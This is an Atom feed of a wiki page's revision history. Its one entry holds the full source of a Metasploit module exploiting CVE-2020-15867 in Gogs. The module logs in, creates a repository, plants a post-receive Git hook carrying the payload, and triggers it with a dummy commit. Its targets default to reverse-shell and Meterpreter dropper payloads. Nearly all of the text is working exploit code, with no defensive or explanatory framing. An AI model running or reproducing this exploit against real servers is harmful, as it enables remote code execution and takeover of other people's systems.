<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-15867_Gogs_Git_Hooks_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-15867 Gogs Git Hooks 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-15867_Gogs_Git_Hooks_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-15867_Gogs_Git_Hooks_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T06:08:03Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-15867_Gogs_Git_Hooks_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1490&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModul...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-15867_Gogs_Git_Hooks_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1490&amp;oldid=prev"/>
		<updated>2021-04-10T13:25:08Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModul...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
 &lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
 &lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
 &lt;br /&gt;
  prepend Msf::Exploit::Remote::AutoCheck&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::CmdStager&lt;br /&gt;
 &lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'Gogs Git Hooks Remote Code Execution',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module leverages an insecure setting to get remote code&lt;br /&gt;
          execution on the target OS in the context of the user running Gogs.&lt;br /&gt;
          This is possible when the current user is allowed to create `git&lt;br /&gt;
          hooks`, which is the default for administrative users. For&lt;br /&gt;
          non-administrative users, the permission needs to be specifically&lt;br /&gt;
          granted by an administrator.&lt;br /&gt;
 &lt;br /&gt;
          To achieve code execution, the module authenticates to the Gogs web&lt;br /&gt;
          interface, creates a temporary repository, sets a `post-receive` git&lt;br /&gt;
          hook with the payload and creates a dummy file in the repository.&lt;br /&gt;
          This last action will trigger the git hook and execute the payload.&lt;br /&gt;
          Everything is done through the web interface.&lt;br /&gt;
 &lt;br /&gt;
          No mitigation has been implemented so far (latest stable version is&lt;br /&gt;
          0.12.3).&lt;br /&gt;
 &lt;br /&gt;
          This module has been tested successfully against version 0.12.3 on&lt;br /&gt;
          docker. Windows version could not be tested since the git hook feature&lt;br /&gt;
          seems to be broken.&lt;br /&gt;
        },&lt;br /&gt;
        'Author' =&amp;gt; [&lt;br /&gt;
          'Podalirius',             # Original PoC&lt;br /&gt;
          'Christophe De La Fuente' # MSF Module&lt;br /&gt;
        ],&lt;br /&gt;
        'References' =&amp;gt; [&lt;br /&gt;
          ['CVE', '2020-15867'],&lt;br /&gt;
          ['EDB', '49571'],&lt;br /&gt;
          ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],&lt;br /&gt;
          ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']&lt;br /&gt;
        ],&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2020-10-07',&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Platform' =&amp;gt; %w[unix linux win],&lt;br /&gt;
        'Arch' =&amp;gt; [ARCH_CMD, ARCH_X86, ARCH_X64],&lt;br /&gt;
        'Privileged' =&amp;gt; false,&lt;br /&gt;
        'Targets' =&amp;gt; [&lt;br /&gt;
          [&lt;br /&gt;
            'Unix Command',&lt;br /&gt;
            {&lt;br /&gt;
              'Platform' =&amp;gt; 'unix',&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_CMD,&lt;br /&gt;
              'Type' =&amp;gt; :unix_cmd,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {&lt;br /&gt;
                'PAYLOAD' =&amp;gt; 'cmd/unix/reverse_bash'&lt;br /&gt;
              }&lt;br /&gt;
            }&lt;br /&gt;
          ],&lt;br /&gt;
          [&lt;br /&gt;
            'Linux Dropper',&lt;br /&gt;
            {&lt;br /&gt;
              'Platform' =&amp;gt; 'linux',&lt;br /&gt;
              'Arch' =&amp;gt; [ARCH_X86, ARCH_X64],&lt;br /&gt;
              'Type' =&amp;gt; :linux_dropper,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {&lt;br /&gt;
                'CMDSTAGER::FLAVOR' =&amp;gt; :bourne,&lt;br /&gt;
                'PAYLOAD' =&amp;gt; 'linux/x64/meterpreter/reverse_tcp'&lt;br /&gt;
              }&lt;br /&gt;
            }&lt;br /&gt;
          ],&lt;br /&gt;
          [&lt;br /&gt;
            'Windows Command',&lt;br /&gt;
            {&lt;br /&gt;
              'Platform' =&amp;gt; 'win',&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_CMD,&lt;br /&gt;
              'Type' =&amp;gt; :win_cmd,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {&lt;br /&gt;
                'PAYLOAD' =&amp;gt; 'cmd/windows/powershell_reverse_tcp'&lt;br /&gt;
              }&lt;br /&gt;
            }&lt;br /&gt;
          ],&lt;br /&gt;
          [&lt;br /&gt;
            'Windows Dropper',&lt;br /&gt;
            {&lt;br /&gt;
              'Platform' =&amp;gt; 'win',&lt;br /&gt;
              'Arch' =&amp;gt; [ARCH_X86, ARCH_X64],&lt;br /&gt;
              'Type' =&amp;gt; :win_dropper,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {&lt;br /&gt;
                'PAYLOAD' =&amp;gt; 'windows/x64/meterpreter/reverse_tcp'&lt;br /&gt;
              }&lt;br /&gt;
            }&lt;br /&gt;
          ],&lt;br /&gt;
        ],&lt;br /&gt;
        'DefaultOptions' =&amp;gt; { 'WfsDelay' =&amp;gt; 30 },&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 1,&lt;br /&gt;
        'Notes' =&amp;gt; {&lt;br /&gt;
          'Stability' =&amp;gt; [CRASH_SAFE],&lt;br /&gt;
          'Reliability' =&amp;gt; [REPEATABLE_SESSION]&lt;br /&gt;
        }&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
 &lt;br /&gt;
    register_options([&lt;br /&gt;
      Opt::RPORT(3000),&lt;br /&gt;
      OptString.new('TARGETURI', [true, 'Base path', '/']),&lt;br /&gt;
      OptString.new('USERNAME', [true, 'Username to authenticate with']),&lt;br /&gt;
      OptString.new('PASSWORD', [true, 'Password to use']),&lt;br /&gt;
    ])&lt;br /&gt;
 &lt;br /&gt;
    @need_cleanup = false&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def check&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path)&lt;br /&gt;
    )&lt;br /&gt;
    unless res&lt;br /&gt;
      return CheckCode::Unknown('Target did not respond to check.')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    # &amp;lt;meta name=&amp;quot;author&amp;quot; content=&amp;quot;Gogs&amp;quot; /&amp;gt;&lt;br /&gt;
    unless res.body.match(%r{&amp;lt;meta +name=&amp;quot;author&amp;quot; +content=&amp;quot;Gogs&amp;quot; */&amp;gt;})&lt;br /&gt;
      return CheckCode::Unsupported('Target does not appear to be running Gogs.')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    CheckCode::Appears('Gogs found')&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def exploit&lt;br /&gt;
    print_status(&amp;quot;Executing #{target.name} for #{datastore['PAYLOAD']}&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    print_status(&amp;quot;Authenticate with \&amp;quot;#{datastore['USERNAME']}/#{datastore['PASSWORD']}\&amp;quot;&amp;quot;)&lt;br /&gt;
    gogs_login&lt;br /&gt;
    print_good('Logged in')&lt;br /&gt;
 &lt;br /&gt;
    @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')&lt;br /&gt;
    print_status(&amp;quot;Create repository \&amp;quot;#{@repo_name}\&amp;quot;&amp;quot;)&lt;br /&gt;
    gogs_create_repo&lt;br /&gt;
    @need_cleanup = true&lt;br /&gt;
    print_good('Repository created')&lt;br /&gt;
 &lt;br /&gt;
    case target['Type']&lt;br /&gt;
    when :unix_cmd, :win_cmd&lt;br /&gt;
      execute_command(payload.encoded)&lt;br /&gt;
    when :linux_dropper, :win_dropper&lt;br /&gt;
      execute_cmdstager(background: true, delay: 1)&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def execute_command(cmd, _opts = {})&lt;br /&gt;
    vprint_status(&amp;quot;Executing command: #{cmd}&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    print_status('Setup post-receive hook with command')&lt;br /&gt;
    gogs_post_receive_hook(cmd)&lt;br /&gt;
    print_good('Git hook setup')&lt;br /&gt;
 &lt;br /&gt;
    print_status('Create a dummy file on the repo to trigger the payload')&lt;br /&gt;
    last_chunk = cmd_list ? cmd == cmd_list.last : true&lt;br /&gt;
    gogs_create_file(last_chunk: last_chunk)&lt;br /&gt;
    print_good(&amp;quot;File created#{', shell incoming...' if last_chunk}&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def http_post_request(uri, opts = {})&lt;br /&gt;
    csrf = opts.delete(:csrf) || get_csrf(uri)&lt;br /&gt;
    timeout = opts.delete(:timeout) || 20&lt;br /&gt;
 &lt;br /&gt;
    post_data = { _csrf: csrf }.merge(opts)&lt;br /&gt;
    request_hash = {&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(datastore['TARGETURI'], uri),&lt;br /&gt;
      'ctype' =&amp;gt; 'application/x-www-form-urlencoded',&lt;br /&gt;
      'vars_post' =&amp;gt; post_data&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    send_request_cgi(request_hash, timeout)&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def get_csrf(uri)&lt;br /&gt;
    vprint_status('Get &amp;quot;csrf&amp;quot; value')&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri)&lt;br /&gt;
    )&lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Unreachable, 'Unable to get the CSRF token')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    csrf = extract_value(res, '_csrf')&lt;br /&gt;
    vprint_good(&amp;quot;csrf=#{csrf}&amp;quot;)&lt;br /&gt;
    csrf&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def extract_value(res, attr)&lt;br /&gt;
    # &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;_csrf&amp;quot; value=&amp;quot;Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA&amp;quot;&amp;gt;&lt;br /&gt;
    # &amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;user_id&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;1&amp;quot; required&amp;gt;&lt;br /&gt;
    # &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;last_commit&amp;quot; value=&amp;quot;6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2&amp;quot;&amp;gt;&lt;br /&gt;
    unless (match = res.body.match(/&amp;lt;input .*name=&amp;quot;#{attr}&amp;quot; +value=&amp;quot;(?&amp;lt;value&amp;gt;[^&amp;quot;]+)&amp;quot;.*&amp;gt;/))&lt;br /&gt;
      return fail_with(Failure::NotFound, &amp;quot;\&amp;quot;#{attr}\&amp;quot; not found in response&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    return match[:value]&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def gogs_login&lt;br /&gt;
    res = http_post_request(&lt;br /&gt;
      '/user/login',&lt;br /&gt;
      user_name: datastore['USERNAME'],&lt;br /&gt;
      password: datastore['PASSWORD']&lt;br /&gt;
    )&lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Unreachable, 'Unable to reach the login page')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    unless res.code == 302&lt;br /&gt;
      fail_with(Failure::NoAccess, 'Login failed')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    nil&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def gogs_create_repo&lt;br /&gt;
    uri = normalize_uri(datastore['TARGETURI'], '/repo/create')&lt;br /&gt;
 &lt;br /&gt;
    res = send_request_cgi('method' =&amp;gt; 'GET', 'uri' =&amp;gt; uri)&lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Unreachable, &amp;quot;Unable to reach #{uri}&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    vprint_status('Get &amp;quot;csrf&amp;quot; and &amp;quot;user_id&amp;quot; values')&lt;br /&gt;
    csrf = extract_value(res, '_csrf')&lt;br /&gt;
    vprint_good(&amp;quot;csrf=#{csrf}&amp;quot;)&lt;br /&gt;
    user_id = extract_value(res, 'user_id')&lt;br /&gt;
    vprint_good(&amp;quot;user_id=#{user_id}&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    res = http_post_request(&lt;br /&gt;
      uri,&lt;br /&gt;
      user_id: user_id,&lt;br /&gt;
      repo_name: @repo_name,&lt;br /&gt;
      private: 'on',&lt;br /&gt;
      description: '',&lt;br /&gt;
      gitignores: '',&lt;br /&gt;
      license: '',&lt;br /&gt;
      readme: 'Default',&lt;br /&gt;
      auto_init: 'on',&lt;br /&gt;
      csrf: csrf&lt;br /&gt;
    )&lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Unreachable, &amp;quot;Unable to reach #{uri}&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    unless res.code == 302&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, 'Create repository failure')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    nil&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def gogs_post_receive_hook(cmd)&lt;br /&gt;
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')&lt;br /&gt;
    shell = &amp;lt;&amp;lt;~SHELL&lt;br /&gt;
      #!/bin/bash&lt;br /&gt;
      #{cmd}&amp;amp;&lt;br /&gt;
      exit 0&lt;br /&gt;
    SHELL&lt;br /&gt;
 &lt;br /&gt;
    res = http_post_request(uri, content: shell)&lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Unreachable, &amp;quot;Unable to reach #{uri}&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    unless res.code == 302&lt;br /&gt;
      msg = 'Post-receive hook creation failure'&lt;br /&gt;
      if res.code == 404&lt;br /&gt;
        msg &amp;lt;&amp;lt; ' (user is probably not allowed to create Git Hooks)'&lt;br /&gt;
      end&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, msg)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    nil&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def gogs_create_file(last_chunk: false)&lt;br /&gt;
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')&lt;br /&gt;
    filename = &amp;quot;#{Rex::Text.rand_text_alpha(4..8)}.txt&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
    res = send_request_cgi('method' =&amp;gt; 'GET', 'uri' =&amp;gt; uri)&lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Unreachable, &amp;quot;Unable to reach #{uri}&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    vprint_status('Get &amp;quot;csrf&amp;quot; and &amp;quot;last_commit&amp;quot; values')&lt;br /&gt;
    csrf = extract_value(res, '_csrf')&lt;br /&gt;
    vprint_good(&amp;quot;csrf=#{csrf}&amp;quot;)&lt;br /&gt;
    last_commit = extract_value(res, 'last_commit')&lt;br /&gt;
    vprint_good(&amp;quot;last_commit=#{last_commit}&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    http_post_request(&lt;br /&gt;
      uri,&lt;br /&gt;
      last_commit: last_commit,&lt;br /&gt;
      tree_path: filename,&lt;br /&gt;
      content: Rex::Text.rand_text_alpha(1..20),&lt;br /&gt;
      commit_summary: '',&lt;br /&gt;
      commit_message: '',&lt;br /&gt;
      commit_choice: 'direct',&lt;br /&gt;
      csrf: csrf,&lt;br /&gt;
      timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting&lt;br /&gt;
    )&lt;br /&gt;
    vprint_status(&amp;quot;#{filename} created&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    nil&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  # Hook the HTTP client method to add specific cookie management logic&lt;br /&gt;
  def send_request_cgi(opts, timeout = 20)&lt;br /&gt;
    res = super&lt;br /&gt;
 &lt;br /&gt;
    return unless res&lt;br /&gt;
 &lt;br /&gt;
    # HTTP client does not handle cookies with the same name correctly. It adds&lt;br /&gt;
    # them instead of substituing the old value with the new one.&lt;br /&gt;
    unless res.get_cookies.empty?&lt;br /&gt;
      cookie_jar_hash = cookie_jar_to_hash&lt;br /&gt;
      cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))&lt;br /&gt;
      cookie_jar_hash.merge!(cookies_from_response)&lt;br /&gt;
      cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|&lt;br /&gt;
        set &amp;lt;&amp;lt; &amp;quot;#{cookie[0]}=#{cookie[1]}&amp;quot;&lt;br /&gt;
      end&lt;br /&gt;
      cookie_jar.clear&lt;br /&gt;
      cookie_jar.merge(cookie_jar_updated)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    res&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def cookie_jar_to_hash(jar = cookie_jar)&lt;br /&gt;
    jar.each_with_object({}) do |cookie, cookie_hash|&lt;br /&gt;
      name, value = cookie.split('=')&lt;br /&gt;
      cookie_hash[name] = value&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def cleanup&lt;br /&gt;
    super&lt;br /&gt;
    return unless @need_cleanup&lt;br /&gt;
 &lt;br /&gt;
    print_status('Cleaning up')&lt;br /&gt;
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')&lt;br /&gt;
    res = http_post_request(uri, action: 'delete', repo_name: @repo_name)&lt;br /&gt;
 &lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Unreachable, 'Unable to reach the settings page')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    unless res.code == 302&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, 'Delete repository failure')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    print_status(&amp;quot;Repository #{@repo_name} deleted.&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    nil&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>